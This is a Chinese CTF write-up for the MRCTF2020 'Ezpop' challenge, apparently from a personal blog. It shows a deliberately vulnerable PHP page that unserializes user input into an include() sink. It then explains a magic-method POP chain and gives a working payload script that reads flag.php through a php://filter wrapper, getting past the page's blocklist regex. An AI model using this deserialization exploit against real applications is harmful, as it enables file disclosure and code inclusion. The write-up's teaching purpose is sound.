MRCTF2020-Ezpop
MRCTF2020-Ezpop
打开网页,代码如下:
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
下面是本题一些魔术方法的介绍:
__construct 当一个对象创建时被调用,
__toString 当一个对象被当作一个字符串被调用。
__wakeup() 使用unserialize时触发
__get() 用于从不可访问的属性读取数据
#难以访问包括:(1)私有属性,(2)没有初始化的属性
__invoke() 当脚本尝试将对象调用为函数时触发。
首先观察敏感函数,在Modifier中发现敏感函数include(),这应该是一个可利用点。问题的关键点就算如何调用Modifier中的include()函数。可以看到里面有一个魔术方法:__invoke(),当脚本尝试将对象调用为函数时触发,那么问题就转化为如何通过构建pop链来触发这个函数。
Show类中 __ construct并没有什么用。但我们发现了一个敏感点, __ toString魔术方法。它的作用主要就是能echo一个实例化的类(如果这个类没有 __ toString(),则会报错),因为echo时会自动调用__toString()。那么我们看如何才能调用这个魔术方法呢?
我们发现show类中还有一个过滤:
preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)
preg_match()函数用到source,如果source是字符串,则直接拿来匹配。
如果source是一个类且这个类里有__ toString()方法,则会调用__ toString()。
所以我们应该使source为一个类来调用__ toString 方法。
source = new Show();
调用__ toString后会返回这个:
return $this->str->source;
我们要考虑该如何利用这个。
如果令 $this->str = new Test(),Test()类中没有source,则会自动调用 __ get(),返回一个变量加括号,即函数 $p()。如果我们再让$p = new Modifier()。则相当于返回一个类函数,则会调用Modifier的 __invoke() ,用 $var读取flag.php即可.
payload:
<?php
class Modifier {
protected $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
}
class Show{
public $source;
public $str;
public function __toString(){
return $this->str->source;
}
public function __construct($file='index.php'){
$this->str = new Test();
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
}
$a = new Show();
$a->source = new Show();
$a->source->str->p = new Modifier();
echo urlencode(serialize($a));
?>
思考:为什么这里要用urlencode编码进行加密?
因为$var是protected 类型,序列化后要手动加一些字符才能通过。
贴一段代码:
版权声明:本博客所有文章除特殊声明外,均采用 CC BY-NC 4.0 许可协议。转载请注明出处 sakura的博客!